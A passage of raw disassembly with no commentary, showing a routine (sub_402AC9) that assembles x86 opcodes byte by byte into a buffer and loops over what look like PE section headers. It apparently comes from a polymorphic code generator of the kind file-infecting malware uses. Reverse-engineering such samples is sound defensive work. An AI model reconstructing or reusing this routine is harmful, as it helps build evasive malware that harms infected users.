[ebp+70h+var_20+1], 0FAh mov byte ptr [ebp+70h+var_20+2], 0 mov byte ptr [ebp+70h+var_30], 83h mov byte ptr [ebp+70h+var_30+1], 0F8h mov byte ptr [ebp+70h+var_30+2], 0 mov [ebp+70h+var_6C], 3 mov [ebp+70h+var_6B], 0C3h mov [ebp+70h+var_C4], 81h mov [ebp+70h+var_C3], 0C4h mov [ebp+70h+var_80], 83h mov [ebp+70h+var_7F], 0C3h mov [ebp+70h+var_8C], 81h mov [ebp+70h+var_8B], 0C2h mov [ebp+70h+var_90], 2Bh mov [ebp+70h+var_8F], 0D8h mov [ebp+70h+var_F0], 2Bh mov [ebp+70h+var_EF], 0C3h mov [ebp+70h+var_118], 2Bh mov [ebp+70h+var_117], 0C8h mov [ebp+70h+var_F4], 2Bh mov [ebp+70h+var_F3], 0CAh mov [ebp+70h+var_D0], 2Bh mov [ebp+70h+var_CF], 0CBh mov [ebp+70h+var_100], 2Ah mov [ebp+70h+var_FF], 0EBh mov [ebp+70h+var_11C], 81h mov [ebp+70h+var_11B], 0E9h mov [ebp+70h+var_120], 81h mov [ebp+70h+var_11F], 0EAh mov [ebp+70h+var_BC], 83h mov [ebp+70h+var_BB], 0E8h mov [ebp+70h+var_E8], 0D2h mov [ebp+70h+var_E7], 0E2h mov [ebp+70h+var_108], 0D2h mov [ebp+70h+var_107], 0EAh mov [ebp+70h+var_B0], 0D2h mov [ebp+70h+var_AF], 0E3h mov [ebp+70h+var_B8], 0D2h mov [ebp+70h+var_B7], 0EBh mov [ebp+70h+var_D8], 0C0h mov [ebp+70h+var_D7], 0CAh mov [ebp+70h+var_A0], 0C0h mov [ebp+70h+var_9F], 0CBh mov [ebp+70h+var_C0], 8 mov [ebp+70h+var_BF], 0DAh mov [ebp+70h+var_10C], 9 mov [ebp+70h+var_10B], 0CAh mov [ebp+70h+var_FC], 33h mov [ebp+70h+var_FB], 0FFh mov [ebp+70h+var_E0], 80h mov [ebp+70h+var_DF], 0F2h mov [ebp+70h+var_A8], 80h mov [ebp+70h+var_A7], 0F3h mov [ebp+70h+var_104], 86h mov [ebp+70h+var_103], 0F2h mov [ebp+70h+var_38], 800h mov [ebp+70h+var_18], 804h mov [ebp+70h+var_34], 808h mov [ebp+70h+var_1C], 80Ch mov [ebp+70h+var_4], 810h mov [ebp+70h+var_58], 814h mov [ebp+70h+var_78], 81Ch mov edi, esi sub ecx, eax push 4 pop eax loc_403377: ; CODE XREF: sub_402AC9+8B5j dec edi dec eax mov dl, [ecx+edi] mov [edi], dl jnz short loc_403377 mov ecx, esi mov edi, ecx inc ecx inc ecx lea esi, [ebp+70h+var_62] movsw mov byte ptr [ecx], 90h inc ecx mov byte ptr [ecx], 0B8h inc ecx lea esi, [ebp+70h+var_78] lea edi, [ecx+4] push 4 sub esi, ecx pop ecx mov eax, edi mov [ebp+70h+var_4C], ecx loc_4033A3: ; CODE XREF: sub_402AC9+8E3j dec eax dec [ebp+70h+var_4C] mov dl, [eax+esi] mov [eax], dl jnz short loc_4033A3 mov eax, edi mov byte ptr [eax], 90h inc eax mov byte ptr [eax], 90h inc eax mov byte ptr [eax], 90h inc eax mov byte ptr [eax], 90h inc eax mov edi, eax lea esi, [ebp+70h+var_14] movsw mov edx, eax movsb add eax, 3 mov byte ptr [eax], 3Dh inc eax lea edi, [ebp+70h+var_94] lea esi, [eax+4] sub edi, eax mov [ebp+70h+var_94], 100h mov [ebp+0Ch], esi mov [ebp+70h+var_4C], edi mov [ebp+70h+var_C], ecx loc_4033E9: ; CODE XREF: sub_402AC9+931j dec dword ptr [ebp+0Ch] dec [ebp+70h+var_C] mov edi, [ebp+0Ch] mov eax, [ebp+70h+var_4C] mov al, [eax+edi] mov [edi], al jnz short loc_4033E9 mov eax, esi mov byte ptr [eax], 7Ch inc eax mov byte ptr [eax], 4 inc eax mov edi, eax add eax, 3 lea esi, [ebp+70h+var_8] movsw movsb mov byte ptr [eax], 0 inc eax mov byte ptr [eax], 48h inc eax mov byte ptr [eax], 75h inc eax sub dl, al dec dl mov edi, eax mov [edi], dl inc edi mov [ebp+70h+var_8], eax mov [ebp+70h+var_8], edi mov eax, [ebp+70h+var_8] lea esi, [ebp+70h+var_14] movsw movsb add eax, 3 mov byte ptr [eax], 0E9h inc eax lea edi, [eax+4] lea esi, [ebp+70h+var_4C] mov [ebp+70h+var_4C], 0DFh mov edx, edi sub esi, eax mov [ebp+70h+var_C], ecx loc_403450: ; CODE XREF: sub_402AC9+990j dec edx dec [ebp+70h+var_C] mov al, [esi+edx] mov [edx], al jnz short loc_403450 mov edx, edi mov [ebp+0Ch], edx inc edx lea esi, [ebp+70h+var_28] movsw inc edx lea edi, [edx+4] lea esi, [ebp+70h+var_18] mov eax, edi sub esi, edx mov [ebp+70h+var_C], ecx loc_403474: ; CODE XREF: sub_402AC9+9B4j dec eax dec [ebp+70h+var_C] mov dl, [esi+eax] mov [eax], dl jnz short loc_403474 mov edx, edi inc edx lea esi, [ebp+70h+var_54] movsw inc edx lea edi, [edx+4] lea esi, [ebp+70h+var_34] mov eax, edi sub esi, edx mov [ebp+70h+var_C], ecx loc_403495: ; CODE XREF: sub_402AC9+9D5j dec eax dec [ebp+70h+var_C] mov dl, [esi+eax] mov [eax], dl jnz short loc_403495 mov edx, edi mov byte ptr [edx], 90h inc edx mov edi, edx inc edx inc edx lea esi, [ebp+70h+var_6C] movsw mov byte ptr [edx], 3Dh inc edx lea edi, [edx+4] lea esi, [ebp+70h+var_8] mov [ebp+70h+var_8], 8 mov eax, edi sub esi, edx mov [ebp+70h+var_C], ecx loc_4034C7: ; CODE XREF: sub_402AC9+A07j dec eax dec [ebp+70h+var_C] mov dl, [esi+eax] mov [eax], dl jnz short loc_4034C7 mov edx, edi inc edx lea esi, [ebp+70h+var_28] movsw inc edx lea edi, [edx+4] lea esi, [ebp+70h+var_18] mov eax, edi sub esi, edx mov [ebp+70h+var_C], ecx loc_4034E8: ; CODE XREF: sub_402AC9+A28j dec eax dec [ebp+70h+var_C] mov dl, [eax+esi] mov [eax], dl jnz short loc_4034E8 mov edx, edi mov byte ptr [edx], 7Ch inc edx mov byte ptr [edx], 7 inc edx mov byte ptr [edx], 0BBh inc edx lea edi, [edx+4] lea esi, [ebp+70h+var_8] mov eax, edi sub esi, edx mov [ebp+70h+var_C], ecx loc_40350E: ; CODE XREF: sub_402AC9+A4Ej dec eax dec [ebp+70h+var_C] mov dl, [eax+esi] mov [eax], dl jnz short loc_40350E mov edx, edi inc edx inc edx lea esi, [ebp+70h+var_90] movsw mov edi, edx inc edx lea esi, [ebp+70h+var_D4] movsw inc edx lea edi, [edx+4] lea esi, [ebp+70h+var_1C] mov eax, edi sub esi, edx mov [ebp+70h+var_C], ecx loc_403538: ; CODE XREF: sub_402AC9+A78j dec eax dec [ebp+70h+var_C] mov dl, [esi+eax] mov [eax], dl jnz short loc_403538 mov edx, edi mov byte ptr [edx], 0B9h inc edx lea edi, [edx+4] lea esi, [ebp+70h+var_8] mov eax, edi sub esi, edx mov [ebp+70h+var_C], ecx loc_403556: ; CODE XREF: sub_402AC9+A96j dec eax dec [ebp+70h+var_C] mov dl, [eax+esi] mov [eax], dl jnz short loc_403556 mov edx, edi inc edx lea esi, [ebp+70h+var_EC] movsw inc edx lea edi, [edx+4] lea esi, [ebp+70h+var_18] mov eax, edi sub esi, edx mov [ebp+70h+var_C], ecx loc_403577: ; CODE XREF: sub_402AC9+AB7j dec eax dec [ebp+70h+var_C] mov dl, [eax+esi] mov [eax], dl jnz short loc_403577 mov edx, edi push 2 pop eax add edx, eax lea esi, [ebp+70h+var_F4] movsw mov edi, edx add edx, eax lea esi, [ebp+70h+var_D0] movsw mov byte ptr [edx], 0B5h inc edx mov byte ptr [edx], 8 inc edx mov edi, edx add edx, eax lea esi, [ebp+70h+var_100] movsw mov edi, edx add edx, eax lea esi, [ebp+70h+var_28] movsw lea edi, [edx+4] lea esi, [ebp+70h+var_38] mov eax, edi sub esi, edx mov [ebp+70h+var_C], ecx loc_4035C4: ; CODE XREF: sub_402AC9+B04j dec eax dec [ebp+70h+var_C] mov dl, [esi+eax] mov [eax], dl jnz short loc_4035C4 mov edx, edi lea esi, [ebp+70h+var_10] movsw movsb add edx, 3 lea edi, [edx+4] lea esi, [ebp+70h+var_44] mov eax, edi sub esi, edx mov [ebp+70h+var_C], ecx loc_4035E7: ; CODE XREF: sub_402AC9+B27j dec eax dec [ebp+70h+var_C] mov dl, [esi+eax] mov [eax], dl jnz short loc_4035E7 mov al, byte ptr [ebp+70h+arg_0+3] mov edx, edi inc edx inc edx lea esi, [ebp+70h+var_D8] movsw mov [edx], al mov al, [ebp+70h+var_3D] inc edx mov edi, edx inc edx inc edx lea esi, [ebp+70h+var_E0] movsw mov [edx], al inc edx mov edi, edx push 2 pop eax add edx, eax lea esi, [ebp+70h+var_E8] movsw mov edi, edx add edx, eax lea esi, [ebp+70h+var_88] movsw mov edi, edx add edx, eax lea esi, [ebp+70h+var_108] movsw mov edi, edx lea esi, [ebp+70h+var_28] movsw add edx, eax lea edi, [ebp+70h+var_34] lea esi, [edx+4] sub edi, edx mov [ebp+70h+var_14], esi mov [ebp+70h+var_10], edi mov [ebp+70h+var_C], ecx loc_40364B: ; CODE XREF: sub_402AC9+B93j dec [ebp+70h+var_14] dec [ebp+70h+var_C] mov edi, [ebp+70h+var_14] mov edx, [ebp+70h+var_10] mov dl, [edx+edi] mov [edi], dl jnz short loc_40364B mov edx, esi mov edi, edx lea esi, [ebp+70h+var_54] movsw add edx, eax lea edi, [ebp+70h+var_18] lea esi, [edx+4] sub edi, edx mov [ebp+70h+var_10], esi mov [ebp+70h+var_4C], edi mov [ebp+70h+var_C], ecx loc_40367A: ; CODE XREF: sub_402AC9+BC2j dec [ebp+70h+var_10] dec [ebp+70h+var_C] mov edi, [ebp+70h+var_10] mov edx, [ebp+70h+var_4C] mov dl, [edx+edi] mov [edi], dl jnz short loc_40367A mov edx, esi mov edi, edx add edx, eax lea esi, [ebp+70h+var_6C] movsw mov byte ptr [edx], 3Dh inc edx lea edi, [ebp+70h+var_8] lea esi, [edx+4] sub edi, edx mov [ebp+70h+var_14], esi mov [ebp+70h+var_10], edi mov [ebp+70h+var_C], ecx loc_4036AD: ; CODE XREF: sub_402AC9+BF5j dec [ebp+70h+var_14] dec [ebp+70h+var_C] mov edi, [ebp+70h+var_14] mov edx, [ebp+70h+var_10] mov dl, [edx+edi] mov [edi], dl jnz short loc_4036AD mov edx, esi mov byte ptr [edx], 7Ch inc edx mov byte ptr [edx], 60h inc edx mov edi, edx lea esi, [ebp+70h+var_28] movsw add edx, eax lea edi, [ebp+70h+var_38] lea esi, [edx+4] sub edi, edx mov [ebp+70h+var_14], esi mov [ebp+70h+var_10], edi mov [ebp+70h+var_C], ecx loc_4036E4: ; CODE XREF: sub_402AC9+C2Fj dec [ebp+70h+var_14] dec [ebp+70h+var_C] mov edi, [ebp+70h+var_10] mov edx, [ebp+70h+var_14] mov dl, [edx+edi] mov edi, [ebp+70h+var_14] mov [edi], dl jnz short loc_4036E4 mov edx, esi mov byte ptr [edx], 40h inc edx mov edi, edx lea esi, [ebp+70h+var_48] movsw add edx, eax lea edi, [ebp+70h+var_38] lea esi, [edx+4] sub edi, edx mov [ebp+70h+var_14], esi mov [ebp+70h+var_10], edi mov [ebp+70h+var_C], ecx loc_40371A: ; CODE XREF: sub_402AC9+C65j dec [ebp+70h+var_14] dec [ebp+70h+var_C] mov edi, [ebp+70h+var_10] mov edx, [ebp+70h+var_14] mov dl, [edx+edi] mov edi, [ebp+70h+var_14] mov [edi], dl jnz short loc_40371A mov edx, esi mov edi, edx lea esi, [ebp+70h+var_28] movsw add edx, eax lea edi, [ebp+70h+var_34] lea esi, [edx+4] sub edi, edx mov [ebp+70h+var_14], esi mov [ebp+70h+var_10], edi mov [ebp+70h+var_C], ecx loc_40374C: ; CODE XREF: sub_402AC9+C94j dec [ebp+70h+var_14] dec [ebp+70h+var_C] mov edi, [ebp+70h+var_14] mov edx, [ebp+70h+var_10] mov dl, [edx+edi] mov [edi], dl jnz short loc_40374C mov edx, esi mov edi, edx lea esi, [ebp+70h+var_54] movsw add edx, eax lea edi, [ebp+70h+var_1C] lea esi, [edx+4] sub edi, edx mov [ebp+70h+var_10], esi mov [ebp+70h+var_4C], edi mov [ebp+70h+var_C], ecx loc_40377B: ; CODE XREF: sub_402AC9+CC3j dec [ebp+70h+var_10] dec [ebp+70h+var_C] mov edi, [ebp+70h+var_10] mov edx, [ebp+70h+var_4C] mov dl, [edx+edi] mov [edi], dl jnz short loc_40377B mov edx, esi mov edi, edx add edx, eax lea esi, [ebp+70h+var_F0] movsw mov edi, edx lea esi, [ebp+70h+var_48] movsw add edx, eax lea edi, [ebp+70h+var_4] lea esi, [edx+4] sub edi, edx mov [ebp+70h+var_10], esi mov [ebp+70h+var_C], edi mov [ebp+70h+var_1C], ecx loc_4037B3: ; CODE XREF: sub_402AC9+CFBj dec [ebp+70h+var_10] dec [ebp+70h+var_1C] mov edi, [ebp+70h+var_10] mov edx, [ebp+70h+var_C] mov dl, [edx+edi] mov [edi], dl jnz short loc_4037B3 mov edx, esi mov byte ptr [edx], 0B9h inc edx lea edi, [ebp+70h+var_8] lea esi, [edx+4] sub edi, edx mov [ebp+70h+var_14], esi mov [ebp+70h+var_10], edi mov [ebp+70h+var_1C], ecx loc_4037DD: ; CODE XREF: sub_402AC9+D25j dec [ebp+70h+var_14] dec [ebp+70h+var_1C] mov edi, [ebp+70h+var_14] mov edx, [ebp+70h+var_10] mov dl, [edx+edi] mov [edi], dl jnz short loc_4037DD mov edx, esi mov edi, edx add edx, eax lea esi, [ebp+70h+var_118] movsw mov byte ptr [edx], 0BBh inc edx lea edi, [ebp+70h+var_8] lea esi, [edx+4] sub edi, edx mov [ebp+70h+var_14], esi mov [ebp+70h+var_10], edi mov [ebp+70h+var_1C], ecx loc_403813: ; CODE XREF: sub_402AC9+D5Bj dec [ebp+70h+var_14] dec [ebp+70h+var_1C] mov edi, [ebp+70h+var_14] mov edx, [ebp+70h+var_10] mov dl, [edx+edi] mov [edi], dl jnz short loc_403813 mov edx, esi mov edi, edx lea esi, [ebp+70h+var_28] movsw add edx, eax lea edi, [ebp+70h+var_34] lea esi, [edx+4] sub edi, edx mov [ebp+70h+var_8], esi mov [ebp+70h+var_10], edi mov [ebp+70h+var_1C], ecx loc_403842: ; CODE XREF: sub_402AC9+D8Dj dec [ebp+70h+var_8] dec [ebp+70h+var_1C] mov edi, [ebp+70h+var_10] mov edx, [ebp+70h+var_8] mov dl, [edx+edi] mov edi, [ebp+70h+var_8] mov [edi], dl jnz short loc_403842 mov edx, esi mov edi, edx add edx, eax lea esi, [ebp+70h+var_90] movsw mov edi, edx add edx, eax lea esi, [ebp+70h+var_F8] movsw mov edi, edx lea esi, [ebp+70h+var_28] movsw add edx, eax lea edi, [ebp+70h+var_38] lea esi, [edx+4] sub edi, edx mov [ebp+70h+var_8], esi mov [ebp+70h+var_10], edi mov [ebp+70h+var_1C], ecx loc_403889: ; CODE XREF: sub_402AC9+DD4j dec [ebp+70h+var_8] dec [ebp+70h+var_1C] mov edi, [ebp+70h+var_10] mov edx, [ebp+70h+var_8] mov dl, [edx+edi] mov edi, [ebp+70h+var_8] mov [edi], dl jnz short loc_403889 mov edx, esi mov edi, edx lea esi, [ebp+70h+var_24] movsw movsb add edx, 3 lea edi, [ebp+70h+var_44] lea esi, [edx+4] sub edi, edx mov [ebp+70h+var_24], esi mov [ebp+70h+var_C], edi mov [ebp+70h+var_1C], ecx loc_4038BD: ; CODE XREF: sub_402AC9+E08j dec [ebp+70h+var_24] dec [ebp+70h+var_1C] mov edi, [ebp+70h+var_C] mov edx, [ebp+70h+var_24] mov dl, [edx+edi] mov edi, [ebp+70h+var_24] mov [edi], dl jnz short loc_4038BD mov edx, esi mov edi, edx add edx, eax mov al, byte ptr [ebp+70h+arg_0+3] lea esi, [ebp+70h+var_A0] movsw mov [edx], al mov al, [ebp+70h+var_3D] inc edx mov edi, edx inc edx inc edx lea esi, [ebp+70h+var_A8] movsw mov [edx], al inc edx mov edi, edx push 2 pop eax add edx, eax lea esi, [ebp+70h+var_B0] movsw mov edi, edx add edx, eax lea esi, [ebp+70h+var_88] movsw mov edi, edx add edx, eax lea esi, [ebp+70h+var_B8] movsw mov edi, edx add edx, eax lea esi, [ebp+70h+var_C0] movsw mov edi, edx add edx, eax lea esi, [ebp+70h+var_28] movsw lea edi, [edx+4] lea esi, [ebp+70h+var_4] mov eax, edi sub esi, edx mov [ebp+70h+arg_0], ecx loc_403930: ; CODE XREF: sub_402AC9+E70j dec eax dec [ebp+70h+arg_0] mov dl, [eax+esi] mov [eax], dl jnz short loc_403930 mov edx, edi inc edx lea esi, [ebp+70h+var_48] movsw inc edx lea edi, [edx+4] lea esi, [ebp+70h+var_18] mov eax, edi sub esi, edx mov [ebp+70h+arg_0], ecx loc_403951: ; CODE XREF: sub_402AC9+E91j dec eax dec [ebp+70h+arg_0] mov dl, [esi+eax] mov [eax], dl jnz short loc_403951 mov edx, edi mov byte ptr [edx], 0EBh inc edx mov byte ptr [edx], 14h inc edx mov edi, edx inc edx lea esi, [ebp+70h+var_28] movsw inc edx lea edi, [edx+4] lea esi, [ebp+70h+var_18] mov eax, edi sub esi, edx mov [ebp+70h+arg_0], ecx loc_40397C: ; CODE XREF: sub_402AC9+EBCj dec eax dec [ebp+70h+arg_0] mov dl, [eax+esi] mov [eax], dl jnz short loc_40397C mov edx, edi inc edx lea esi, [ebp+70h+var_54] movsw inc edx lea edi, [edx+4] lea esi, [ebp+70h+var_34] mov eax, edi sub esi, edx mov [ebp+70h+arg_0], ecx loc_40399D: ; CODE XREF: sub_402AC9+EDDj dec eax dec [ebp+70h+arg_0] mov dl, [esi+eax] mov [eax], dl jnz short loc_40399D mov edx, edi inc edx inc edx lea esi, [ebp+70h+var_6C] movsw mov edi, edx inc edx lea esi, [ebp+70h+var_48] movsw inc edx lea edi, [edx+4] lea esi, [ebp+70h+var_18] mov eax, edi sub esi, edx mov [ebp+70h+arg_0], ecx loc_4039C7: ; CODE XREF: sub_402AC9+F07j dec eax dec [ebp+70h+arg_0] mov dl, [esi+eax] mov [eax], dl jnz short loc_4039C7 mov edx, edi mov byte ptr [edx], 0C3h inc edx mov edi, edx inc edx inc edx lea esi, [ebp+70h+var_FC] movsw mov byte ptr [edx], 0BEh inc edx lea edi, [edx+4] lea esi, [ebp+70h+var_94] mov eax, edi sub esi, edx mov [ebp+70h+arg_0], ecx loc_4039F5: ; CODE XREF: sub_402AC9+F35j dec eax dec [ebp+70h+arg_0] mov dl, [esi+eax] mov [eax], dl jnz short loc_4039F5 mov edx, edi mov [ebp+70h+var_C], edx mov byte ptr [edx], 0B8h inc edx lea edi, [edx+4] lea esi, [ebp+70h+arg_0] mov [ebp+70h+arg_0], 8 mov eax, edi sub esi, edx mov [ebp+70h+var_4], ecx loc_403A1D: ; CODE XREF: sub_402AC9+F5Dj dec eax dec [ebp+70h+var_4] mov dl, [esi+eax] mov [eax], dl jnz short loc_403A1D mov edx, edi inc edx lea esi, [ebp+70h+var_48] movsw inc edx lea esi, [edx+4] lea edi, [ebp+70h+var_34] mov eax, esi sub edi, edx mov [ebp+70h+arg_0], ecx loc_403A3E: ; CODE XREF: sub_402AC9+F7Ej dec eax dec [ebp+70h+arg_0] mov dl, [edi+eax] mov [eax], dl jnz short loc_403A3E mov eax, [ebp+0Ch] mov byte ptr [esi], 0E8h inc esi sub eax, esi sub eax, ecx lea edx, [esi+4] lea edi, [ebp+70h+arg_0] mov [ebp+70h+arg_0], eax mov [ebp+70h+var_18], edx sub edi, esi mov [ebp+70h+var_4], ecx loc_403A65: ; CODE XREF: sub_402AC9+FADj dec [ebp+70h+var_18] dec [ebp+70h+var_4] mov eax, [ebp+70h+var_18] mov al, [edi+eax] mov esi, [ebp+70h+var_18] mov [esi], al jnz short loc_403A65 mov byte ptr [edx], 52h inc edx mov byte ptr [edx], 0B8h inc edx lea edi, [edx+4] lea esi, [ebp+70h+arg_0] mov [ebp+70h+arg_0], 3 mov eax, edi sub esi, edx mov [ebp+70h+var_4], ecx loc_403A94: ; CODE XREF: sub_402AC9+FD4j dec eax dec [ebp+70h+var_4] mov dl, [eax+esi] mov [eax], dl jnz short loc_403A94 mov edx, edi inc edx lea esi, [ebp+70h+var_48] movsw inc edx lea esi, [edx+4] lea edi, [ebp+70h+var_34] mov eax, esi sub edi, edx mov [ebp+70h+arg_0], ecx loc_403AB5: ; CODE XREF: sub_402AC9+FF5j dec eax dec [ebp+70h+arg_0] mov dl, [eax+edi] mov [eax], dl jnz short loc_403AB5 mov eax, [ebp+0Ch] mov byte ptr [esi], 0E8h inc esi sub eax, esi sub eax, ecx lea edi, [esi+4] lea edx, [ebp+70h+arg_0] mov [ebp+70h+arg_0], eax mov [ebp+70h+var_18], edi sub edx, esi mov [ebp+70h+var_4], ecx loc_403ADC: ; CODE XREF: sub_402AC9+1024j dec [ebp+70h+var_18] dec [ebp+70h+var_4] mov eax, [ebp+70h+var_18] mov al, [eax+edx] mov esi, [ebp+70h+var_18] mov [esi], al jnz short loc_403ADC mov edx, edi inc edx inc edx lea esi, [ebp+70h+var_104] movsw mov byte ptr [edx], 59h inc edx mov edi, edx inc edx inc edx lea esi, [ebp+70h+var_10C] movsw mov byte ptr [edx], 52h inc edx mov byte ptr [edx], 0B8h inc edx lea edi, [edx+4] lea esi, [ebp+70h+arg_0] mov [ebp+70h+arg_0], 3 mov eax, edi sub esi, edx mov [ebp+70h+var_4], ecx loc_403B27: ; CODE XREF: sub_402AC9+1067j dec eax dec [ebp+70h+var_4] mov dl, [esi+eax] mov [eax], dl jnz short loc_403B27 mov edx, edi inc edx lea esi, [ebp+70h+var_48] movsw inc edx lea esi, [edx+4] lea edi, [ebp+70h+var_34] mov eax, esi sub edi, edx mov [ebp+70h+arg_0], ecx loc_403B48: ; CODE XREF: sub_402AC9+1088j dec eax dec [ebp+70h+arg_0] mov dl, [edi+eax] mov [eax], dl jnz short loc_403B48 mov eax, [ebp+0Ch] mov byte ptr [esi], 0E8h inc esi sub eax, esi sub eax, ecx lea edx, [esi+4] lea edi, [ebp+70h+arg_0] mov [ebp+70h+arg_0], eax mov [ebp+70h+var_18], edx sub edi, esi mov [ebp+70h+var_4], ecx loc_403B6F: ; CODE XREF: sub_402AC9+10B7j dec [ebp+70h+var_18] dec [ebp+70h+var_4] mov eax, [ebp+70h+var_18] mov al, [edi+eax] mov esi, [ebp+70h+var_18] mov [esi], al jnz short loc_403B6F mov edi, edx lea esi, [ebp+70h+var_20] movsw movsb add edx, 3 mov byte ptr [edx], 75h inc edx mov byte ptr [edx], 5 inc edx mov byte ptr [edx], 0BAh inc edx lea esi, [edx+4] lea edi, [ebp+70h+var_4] mov [ebp+70h+var_4], 8 mov eax, esi sub edi, edx mov [ebp+70h+arg_0], ecx loc_403BAD: ; CODE XREF: sub_402AC9+10EDj dec eax dec [ebp+70h+arg_0] mov dl, [edi+eax] mov [eax], dl jnz short loc_403BAD mov edx, esi mov byte ptr [edx], 59h inc edx mov byte ptr [edx], 51h inc edx mov byte ptr [edx], 52h inc edx mov edi, edx mov [ebp+70h+var_44], edx add edx, ecx lea esi, [ebp+70h+var_3C] movsd mov byte ptr [edx], 55h inc edx xor eax, eax mov byte ptr [edx], 51h inc edx cmp [ebp+70h+var_27A], ax mov [ebp+70h+var_34], eax mov [ebp+70h+var_10], eax jbe loc_403D4A lea eax, [edx+4] mov [ebp+70h+var_20], eax lea eax, [ebp+70h+var_4] sub eax, edx mov [ebp+70h+arg_0], eax lea eax, [ebp+70h+var_34] lea esi, [ebp+70h+var_3B0] sub eax, edx mov [ebp+70h+var_18], esi loc_403C0A: ; CODE XREF: sub_402AC9+127Bj mov esi, [ebp+70h+var_18] cmp dword ptr [esi], 0 jbe loc_403D33 mov edi, edx push 2 lea esi, [ebp+70h+var_114] movsw pop esi add [ebp+70h+var_20], esi sub [ebp+70h+arg_0], esi add edx, esi sub eax, esi mov edi, edx lea esi, [ebp+70h+var_11C] movsw push 2 pop esi add [ebp+70h+var_20], esi sub eax, esi add edx, esi sub [ebp+70h+arg_0], esi mov [ebp+70h+var_24], eax mov eax, [ebp+70h+var_20] mov [ebp+70h+var_3C], eax mov esi, ecx loc_403C4F: ; CODE XREF: sub_402AC9+1198j dec [ebp+70h+var_3C] dec esi mov edi, [ebp+70h+var_24] mov eax, [ebp+70h+var_3C] mov al, [eax+edi] mov edi, [ebp+70h+var_3C] mov [edi], al jnz short loc_403C4F mov eax, [ebp+70h+var_18] mov eax, [eax] add [ebp+70h+var_34], eax add [ebp+70h+var_20], ecx sub [ebp+70h+var_24], ecx sub [ebp+70h+arg_0], ecx add edx, ecx push 2 pop eax add [ebp+70h+var_20], eax sub [ebp+70h+var_24], eax mov edi, edx add edx, eax sub [ebp+70h+arg_0], eax mov eax, [ebp+70h+var_20] lea esi, [ebp+70h+var_124] movsw mov [ebp+70h+var_3C], eax mov esi, ecx loc_403C96: ; CODE XREF: sub_402AC9+11DFj dec [ebp+70h+var_3C] dec esi mov edi, [ebp+70h+var_24] mov eax, [ebp+70h+var_3C] mov al, [eax+edi] mov edi, [ebp+70h+var_3C] mov [edi], al jnz short loc_403C96 sub [ebp+70h+var_24], ecx sub [ebp+70h+arg_0], ecx mov eax, [ebp+70h+var_20] mov esi, [ebp+70h+var_18] add edx, ecx add eax, ecx mov byte ptr [edx], 7Dh inc edx inc eax dec [ebp+70h+var_24] dec [ebp+70h+arg_0] mov byte ptr [edx], 0Bh inc edx inc eax dec [ebp+70h+var_24] dec [ebp+70h+arg_0] mov byte ptr [edx], 0BDh mov esi, [esi-4] inc edx inc eax dec [ebp+70h+var_24] dec [ebp+70h+arg_0] add esi, [ebp+70h+var_24C] mov [ebp+70h+var_20], eax mov [ebp+70h+var_4], esi mov [ebp+70h+var_3C], eax mov esi, ecx loc_403CEF: ; CODE XREF: sub_402AC9+1235j dec [ebp+70h+var_3C] dec esi mov edi, [ebp+70h+var_3C] mov eax, [ebp+70h+arg_0] mov al, [eax+edi] mov [edi], al jnz short loc_403CEF add [ebp+70h+var_20], ecx sub [ebp+70h+arg_0], ecx add [ebp+70h+var_20], ecx sub [ebp+70h+arg_0], ecx mov eax, [ebp+70h+var_24] add edx, ecx sub eax, ecx sub eax, ecx mov edi, edx add edx, ecx lea esi, [ebp+70h+var_84] movsd mov byte ptr [edx], 0EBh inc edx inc [ebp+70h+var_20] dec eax dec [ebp+70h+arg_0] mov byte ptr [edx], 19h inc edx inc [ebp+70h+var_20] dec eax dec [ebp+70h+arg_0] loc_403D33: ; CODE XREF: sub_402AC9+1147j movzx esi, [ebp+70h+var_27A] inc [ebp+70h+var_10] add [ebp+70h+var_18], 28h cmp [ebp+70h+var_10], esi jb loc_403C0A loc_403D4A: ; CODE XREF: sub_402AC9+111Fj dec edx dec edx mov edi, edx inc edx inc edx mov eax, 90909090h stosw mov byte ptr [edx], 59h inc edx mov byte ptr [edx], 5Dh inc edx mov byte ptr [edx], 90h inc edx mov edi, edx inc edx lea esi, [ebp+70h+var_8C] movsw inc edx lea edi, [edx+4] lea esi, [ebp+70h+var_58] mov eax, edi sub esi, edx mov [ebp+70h+arg_0], ecx loc_403D79: ; CODE XREF: sub_402AC9+12B9j dec eax dec [ebp+70h+arg_0] mov dl, [esi+eax] mov [eax], dl jnz short loc_403D79 mov edx, edi lea esi, [ebp+70h+var_128] movsw movsb add edx, 3 mov edi, edx inc edx lea esi, [ebp+70h+var_120] movsw inc edx lea edi, [edx+4] lea esi, [ebp+70h+var_58] mov eax, edi sub esi, edx mov [ebp+70h+arg_0], ecx loc_403DAB: ; CODE XREF: sub_402AC9+12EBj dec eax dec [ebp+70h+arg_0] mov dl, [eax+esi] mov [eax], dl jnz short loc_403DAB mov edx, [ebp+70h+var_44] mov eax, edi mov byte ptr [eax], 41h inc eax mov byte ptr [eax], 47h inc eax mov byte ptr [eax], 4Ah inc eax mov edi, eax inc eax inc eax sub edx, eax lea esi, [ebp+70h+var_C8] movsw sub edx, ecx lea edi, [eax+4] lea esi, [ebp+70h+arg_0] mov [ebp+70h+arg_0], edx mov edx, edi sub esi, eax mov [ebp+70h+var_4], ecx loc_403DE4: ; CODE XREF: sub_402AC9+1324j dec edx dec [ebp+70h+var_4] mov al, [esi+edx] mov [edx], al jnz short loc_403DE4 mov edx, edi mov byte ptr [edx], 5Ah inc edx mov byte ptr [edx], 59h inc edx mov edi, edx inc edx lea esi, [ebp+70h+var_8C] movsw inc edx lea edi, [edx+4] lea esi, [ebp+70h+var_58] mov eax, edi sub esi, edx mov [ebp+70h+arg_0], ecx loc_403E0F: ; CODE XREF: sub_402AC9+134Fj dec eax dec [ebp+70h+arg_0] mov dl, [esi+eax] mov [eax], dl jnz short loc_403E0F mov eax, edi lea esi, [ebp+70h+var_12C] movsw movsb mov edx, eax add eax, 3 mov edi, eax add eax, ecx lea esi, [ebp+70h+var_5C] movsd mov byte ptr [eax], 46h inc eax mov edi, eax lea esi, [ebp+70h+var_A4] movsw inc eax inc eax lea edi, [ebp+70h+var_44] lea esi, [eax+4] sub edi, eax mov [ebp+70h+var_44], 800h mov [ebp+70h+arg_0], esi mov [ebp+70h+var_1C], edi mov [ebp+70h+var_4], ecx loc_403E57: ; CODE XREF: sub_402AC9+139Fj dec [ebp+70h+arg_0] dec [ebp+70h+var_4] mov edi, [ebp+70h+arg_0] mov eax, [ebp+70h+var_1C] mov al, [eax+edi] mov [edi], al jnz short loc_403E57 mov eax, esi mov byte ptr [eax], 7Ch inc eax mov byte ptr [eax], 5 inc eax mov byte ptr [eax], 0BEh inc eax lea 